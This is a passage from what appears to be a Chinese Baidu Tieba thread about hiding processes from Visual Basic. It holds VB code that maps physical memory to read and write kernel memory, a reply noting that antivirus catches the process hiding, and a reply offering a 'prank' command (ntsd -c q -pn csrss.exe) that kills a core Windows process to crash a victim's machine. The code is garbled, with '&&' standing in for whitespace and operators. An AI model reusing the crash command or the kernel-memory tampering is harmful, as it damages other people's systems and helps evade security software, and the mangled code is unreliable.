快试试吧，可以对自己使用挽尊卡咯~◆◆
&&&& Dim VAddr As Long, PGDE As Long, PTE As Long, PAddr As Long&&&& Dim lTemp As Long&&&&&&&& VAddr = addr&&&& CopyMemory aByte(0), VAddr, 4&&&& lTemp = Fix(ByteArrToLong(aByte) / (2 ^ 22))&&&&&&&& PGDE = BaseAddress + lTemp * 4&&&& CopyMemory PGDE, ByVal PGDE, 4&&&&&&&& If (PGDE And 1) && 0 Then&&&&&&&& lTemp = PGDE And &H80&&&&&&&& If lTemp && 0 Then&&&&&&&&&&&& PAddr = (PGDE And &HFFC00000) + (VAddr And &H3FFFFF)&&&&&&&& Else&&&&&&&&&&&& PGDE = MapViewOfFile(g_hMPM, 4, 0, PGDE And &HFFFFF000, &H1000)&&&&&&&&&&&& lTemp = (VAddr And &H3FF000) / (2 ^ 12)&&&&&&&&&&&& PTE = PGDE + lTemp * 4&&&&&&&&&&&& CopyMemory PTE, ByVal PTE, 4&&&&&&&&&&&&&&&&&&&&&&&& If (PTE And 1) && 0 Then&&&&&&&&&&&&&&&& PAddr = (PTE And &HFFFFF000) + (VAddr And &HFFF)&&&&&&&&&&&&&&&& UnmapViewOfFile PGDE&&&&&&&&&&&& End If&&&&&&&& End If&&&& End If&&&&&&&& LinearToPhys = PAddrEnd FunctionPrivate Function GetData(addr As Long) As Long&&&& Dim phys As Long, tmp As Long, ret As Long&&&&&&&& phys = LinearToPhys(g_pMapPhysicalMemory, addr)&&&& tmp = MapViewOfFile(g_hMPM, 4, 0, phys And &HFFFFF000, &H1000)&&&& If tmp && 0 Then&&&&&&&& ret = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4&&&&&&&& CopyMemory ret, ByVal ret, 4&&&&&&&&&&&&&&&& UnmapViewOfFile tmp&&&&&&&& GetData = ret&&&& End IfEnd FunctionPrivate Function SetData(ByVal addr As Long, ByVal data As Long) As Boolean&&&& Dim phys As Long, tmp As Long, x As Long&&&&&&&& phys = LinearToPhys(g_pMapPhysicalMemory, addr)&&&& tmp = MapViewOfFile(g_hMPM, SECTION_MAP_WRITE, 0, phys And &HFFFFF000, &H1000)&&&& If tmp && 0 Then&&&&&&&& x = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4&&&&&&&& CopyMemory ByVal x, data, 4&&&&&&&&&&&&&&&& UnmapViewOfFile tmp&&&&&&&& SetData = True&&&& End IfEnd FunctionPrivate Function ByteArrToLong(inByte() As Byte) As Double&&&& Dim i As Integer&&&& For i = 0 To 3&&&&&&&& ByteArrToLong = ByteArrToLong + inByte(i) * (&H100 ^ i)&&&& Next iEnd Function
指针偏移影藏不管用了，微软补丁就不行了。VB无法做到隐藏进程又不被杀软抓住的...
要整人，可以让他死机shell "ntsd -c q -pn csrss.exe"
快试试吧，可以对自己使用挽尊卡咯~◆◆
一说整人，大家都很兴奋啊
快试试吧，可以对自己使用挽尊卡咯~◆◆
26楼的方法不行啊
快试试吧，可以对自己使用挽尊卡咯~◆◆
57楼你好狠
登录百度帐号推荐应用
为兴趣而生，贴吧更懂你。或}